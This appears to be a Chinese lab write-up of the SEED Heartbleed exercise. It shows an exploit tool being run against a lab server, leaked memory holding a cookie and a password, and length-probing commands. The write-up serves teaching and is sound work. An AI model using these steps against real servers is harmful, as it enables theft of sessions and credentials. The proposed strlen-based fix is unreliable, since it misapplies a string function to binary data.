SEED-lab:Heartbleed Attack Lab

article/2025/11/9 12:21:05

博客已迁移至:https://gls.show/

seedlab系列文章GitHub链接:https://github.com/LaPhilosophie/seedlab


实验准备

设置两个 VM:

  • 攻击者机器
    • 修改/etc/hosts 文件将服务器名映射到服务器 VM 的 IP 地址,在/etc/hosts 中搜索127.0.0.1 www.heartbleedlabelgg.com,将承载ELGG应用程序的服务器VM的实际IP地址替换掉127.0.0.1
  • 受害者服务器

Heartbleed漏洞分析

OpenSSL 库中的一个漏洞,受影响的 OpenSSL 版本范围从1.0.1到1.0.1 f,在一些新版本的OpenSSL中无法复现

心跳协议是如何工作的。心跳协议由两种消息类型组成: HeartbeatRequest 包和 HeartbeatResponse 包。客户端向服务器发送一个 HeartbeatRequest 数据包。当服务器接收到它时,它会发回 HeartbeatResponse 数据包中接收到的消息的副本。目标是保持连接活跃

心脏出血攻击是基于心跳请求的。这个请求只是向服务器发送一些数据,服务器将把这些数据复制到它的响应数据包中,这样所有的数据都会得到回显

在正常情况下,假设请求包含3个字节的数据“ ABC”,因此长度字段的值为3。服务器将把数据放在内存中,并从数据的开头复制3个字节到它的响应数据包。在攻击场景中,请求可能包含3个字节的数据,但长度字段可能是1003。当服务器构造它的响应数据包时,它从数据的开始进行复制(即“ ABC”) ,但是它复制的是1003个字节,而不是3个字节。这额外的1000种类型显然不是来自请求数据包; 它们来自服务器的私有内存,并且它们可能包含其他用户的信息、密钥和密码

Task 1: Launch the Heartbleed Attack

攻击步骤:

  • 访问 https://www.heartbleedlabelgg.com

  • 以管理员身份登录:admin :seedelgg

  • 添加boby为friend,并给他发送私人信息

多次运行攻击的回显如下

可以看出泄露了cookie、username、密码等关键信息

# ./attack.py www.heartbleedlabelgg.comdefribulator v1.20
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)##################################################################
Connecting to: www.heartbleedlabelgg.com:443, 1 times
Sending Client Hello for TLSv1.0
Analyze the result....
Analyze the result....
Analyze the result....
Analyze the result....
Received Server Hello for TLSv1.0
Analyze the result....WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################.@.AAAAAAAAAAAAAAAAAAAAABCDEFGHIJKLMNOABC...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.heartbleedlabelgg.com/profile/boby
Cookie: Elgg=vt3bsst6tb3ov6njhj7kcijn42
Connection: keep-alive
If-None-Match: "1449721729"..*.......a.3v.O.akf.........b3ov6njhj7kcijn42
Connection: keep-alive_..@?.
..2....{ d..................=1670072367&username=admin&password=seedlggT.;.8A.K..VY."...."

Task 2: Find the Cause of the Heartbleed Vulnerability

比较良性数据包和攻击者代码发送的恶意数据包的结果,以找出心脏出血漏洞的根本原因

当 Heartbeat 请求数据包到来时,服务器将解析数据包以获得有效负载和有效负载长度值(如图1所示)。这里,有效负载只是一个3字节的字符串“ ABC”,有效负载长度值正好是3。服务器程序将盲目地从请求数据包中获取这个长度值。然后,它通过指向存储“ ABC”的内存并将负载长度字节复制到响应负载来构建响应数据包。这样,响应数据包将包含一个3字节的字符串“ ABC”。我们可以启动 HeartBleed 攻击,将有效负载长度字段设置为1003。在构建响应数据包时,服务器将再次盲目地采用这个 Payload 长度值。这一次,服务器程序将指向字符串“ ABC”,并将1003字节作为有效负载从内存复制到响应数据包。除了字符串“ ABC”之外,额外的1000字节被复制到响应数据包中,这些数据包可以是内存中的任何内容,比如机密活动、日志信息、密码等等

图示:

通过命令行参数控制有效载荷长度值,该参数默认是0x4000

$./attack.py www.heartbleedlabelgg.com -l 0x015B
$./attack.py www.heartbleedlabelgg.com --length 83

Question 2.1: As the length variable decreases, what kind of difference can you observe?

回返的信息长度减少

Question 2.2: As the length variable decreases, there is a boundary value for the input length vari-
able. At or below that boundary, the Heartbeat query will receive a response packet without attaching
any extra data (which means the request is benign). Please find that boundary length. You may need
to try many different length values until the web server sends back the reply without extra data. To
help you with this, when the number of returned bytes is smaller than the expected length, the pro-
gram will print “Server processed malformed Heartbeat, but did not return
any extra data.”

边界值:22

回显形式1:

WARNING: www.heartbleedlabelgg.com:443 returned more data than it should - server is vulnerable!

回显形式2:

Server processed malformed heartbeat, but did not return any extra data.

Task 3: Countermeasure and Bug Fix

使用sudo apt-get update将 OpenSSL 库更新到最新版本,发现之后的攻击无效

Heartbeat request/response 包格式如下:

struct {HeartbeatMessageType type; // 1 byte: request or the responseuint16 payload_length; // 2 byte: the length of the payloadopaque payload[HeartbeatMessage.payload_length];opaque padding[padding_length];
} HeartbeatMessage;
  • type是类型信息

  • payload_length是有效负载长度

  • payload是实际的有效负载

  • 填充字段

有效负载的大小应该与有效负载长度字段中的值相同,但是在攻击场景中,有效负载长度可以设置为不同的值

导致bug的语句是memcpy(bp, pl, payload); ,其中,bp指向buffer,pl指向payload,它会将payload长度的内容从pl复制到bp(正如Alice所说),而这并没有做边界检查

在memcpy之前加上以下语句以修订:

payload = payload_length > strlen(pl) ? strlen(pl) : payload_length ;

http://chatgpt.dhexx.cn/article/E73cuMoP.shtml

相关文章

Heartbleed心脏出血原理及漏洞复现(CVE-2014-0106)

Heartbleed心脏出血原理及漏洞复现(CVE-2014-0106) 漏洞简介漏洞原理漏洞复现 漏洞简介 心脏出血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以服务到目标进程内存信息,如其他人的Cookie等敏感信息。 漏洞原理 心脏出血…

心脏滴血漏洞详解及利用--HeartBleed With OpenSSL

【事件规则】 OpenSSL“心脏出血”漏洞是一个非常严重的问题。这个漏洞使攻击者能够从内存中读取多达64 KB的数据。也就是说,只要有这个漏洞的存在,在无需任何特权信息或身份验证的环境下,我们就可以从我们自己的(测试机上&#…

Says Of Heart!

心得: 步入大学生活已经两个多月了,在这期间,我面试过班委,面试过学生会,面试过小组,分别获得了不同的经验与感受,这使我收获颇多。 之前的我,是一个不爱参加任何活动的一…

Heartbleed漏洞的复现与利用

一、 1.Heartbleed漏洞是什么 Openssl在处理心跳包的时候检测漏洞,没有检测payload与实际的数据字段是否匹配,造成最大64KB的内存泄漏 2.基本背景和影响 OpenSSL是SSL协议以及一系列加密算法的开源实现,使用C语言编写。OpenSSL采用Ap…

Heart bleed 漏洞源码与过程解析

Heartbleed漏洞,这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存…

OpenSSL 心脏滴血漏洞(CVE-2014-0160)漏洞讲解(小白可懂,简单详细)

Heartbleed 心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中…

码元

码元:固定时长的信号波形,代表不同离散数值的基本波形(码元可以理解为一种信号) 固定时长中的时长可以称为码元宽度,如下图 上图信号只有0、1两种状态(1个码元携带0或1 1个码元携带1bit的信息量) 所以是二进制…

候选码、主码、外码、全码、超码

文章目录 1.候选码2.主码主属性非主属性 3.外码4.全码5.超码6.总结: 1.候选码 定义:能唯一标识关系中元组的一个属性或属性集。 2.主码 从多个候选键中选择一个作为查询、插入或者删除元组的操作变量,被选用的候选码称为主码。 每个关系必…

数据库系统--码,超码,候选码,主属性,非主属性,主码,全码,外码基本概念

当然,上述只针对学生这一个关系。若涉及参照关系还要引入外码(Foreign Key) ,A关系的其中一个属性同时是B关系的主码,那么该属性则是A关系的一个外码,参照B关系。

主属性,范式,超码,码,非主属性,全码

整个属性住都是码,则是全码 all-key STUDENT(Sno,Sname,Grade,Mname) 黄色(Sno,Sname)是码,也称主码,候选码(最小单元) 黄色区域Grade/Mname是超…

码元与码点

码元与码点 JavaScript字符串使用了两种Unicode编码混合的策略:UCS-2和UTF-16。对于可以菜哦也能够16位编码的字符(U0000~UFFFF),这两种编码实际上是一样的。(《JavaScript高级程序设计》) 关于码元和和码点…

数据库系统概论第六章(关系数据理论)知识点总结(2)—— 码的概念总结

本专栏收录了数据库的知识点,而从本文起,将讲述有关于关系数据理论中的第一范式、第二范式、第三范式以及BC范式有关知识点,提供给有需要的小伙伴进行学习,本专栏地址可以戳下面链接查看 🎈 数据库知识点总结&#xff…

Code128一维码(解码)

由于最近在弄一个用Winform实现基于"博斯得"打印机实现打印预览的玩意遇到了几个问题。 在打印条码的时候实际打印的条码长度和预览差距很大于是就查网上查了一下资料熟悉了一下条形码的构成和解读,往下看 认识Code128编码规则 依次是 : 禁止区…

数据库-超码、候选码、主码

超码(superkey)绝对算得上计算机术语中翻译以后看起来更复杂的一个典型。 超码和码其实没有任何关系,它本质上是一组属性的集合。这一组集合可以唯一的标识出一个元组,就是说不同元组的超码中的属性是不全相同的。 表中的一行就是…

计算机中常用的三种码制,码制

码制 1.数字系统 用数字信号完成对数字量进行算术运算和逻辑运算的电路称为数字电路,或数字系统。由于它具有逻辑运算和逻辑处理功能,所以又称数字逻辑电路。人类已经进入到了数字时代,数字系统在我们日常生活中愈发重要,并广泛应用于通信、商贸、交通控制、航空航天、医疗…

一文搞懂候选码、主码、全码、外码、主属性、主键、主关键字、非主属性清晰总结

👏作者简介:大家好,我是Rockey,不知名企业的不知名Java开发工程师 🔥如果感觉博主的文章还不错的话,请👍三连支持👍一下博主哦 📝联系方式:he18339193956&…

DevExpress 控件使用菜单栏之BarManager

DevExpress 开发的控件有很强的实力,不仅功能丰富,应用简便,而且界面华丽,更可方便定制。对于编程人员来说是个不错的选择。它的菜单栏控件更具代表,完全可以替代开发环境提供的基本控件,而让您编写的程序或软件更显专业化。它还提供完善的帮助系统,资料详尽,可以快速入…

组件,控件,用户控件

在学习这部分时产生了一些疑问,下面是根据我搜罗来的资料得出的一点浅薄的见解。 其实从字面上已经可以理解各自的不同了。但是具体关系其实是从类的继承上来区别的。一般控件派生于:Control类,所以从此类派生出的称之为控件。一般组…

WinCC报表控件

1、背景 WinCC实现报表历来是老大难,自带的报表功能不好使,主要在于配置麻烦,可视化又很差,而又没有好用的第三方控件。虽然网上也有很多实现报表的方法,但是毫无例外的要求使用者具有脚本编程功底,HwDataReport的出现将终结这一现象。您无需一行脚本即可完成WINCC报…

三款ActiveX图表控件对比评测 Pro ActiveX、ProEssentials、ChartDirector

原文转载自慧都控件网:http://www.evget.com/zh-CN/Info/catalog/18101.html 图表控件在现在的商业化应用中已经非常的常见了,随便打开一个网站,图表比比皆是。在自己的开发项目中,选对了好的图表控件将会对自己的项目起到画龙点…